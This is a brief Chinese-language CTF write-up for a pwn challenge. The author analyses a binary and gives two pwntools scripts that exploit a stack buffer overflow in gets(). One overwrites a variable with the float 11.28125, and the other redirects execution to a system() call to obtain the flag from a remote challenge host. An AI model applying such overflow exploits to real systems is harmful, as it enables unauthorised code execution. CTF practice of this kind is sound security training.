checksec一下,然后再直接连上去试试
没用,我们之间去IDA分析好了
代码逻辑就是我们输入等于11.28125就把flag给我们,去试试
发现他还是说我们是错的,这我就不是很明白了
后面看来大佬们的WP,才知道这里不能直接输入,需要转换一下
大佬的方法是用溢出v1的值溢出,使v2的值为11.28125
from pwn import *
import struct
io = remote('node4.anna.nssctf.cn',28127)
sh=11.28125
sh_bytes=struct.pack('f', sh)
payload=b'a'*44+sh_bytes
io.sendline(payload)
io.interactive()
这就是脚本,参考https://www.nssctf.cn/note/set/7051
这样就成了
后面看到还有一种方法
就是在这里,我们看到了有gets,有system直接让gets溢出,然后执行system,说干就干,试试
from pwn import *
import struct
io = remote('node4.anna.nssctf.cn',28127)
#sh=11.28125
#sh_bytes=struct.pack('f', sh)
cat=0x004006BE
payload=b'a'*0x30+b'b'*8+p64(cat)
io.sendline(payload)
io.interactive()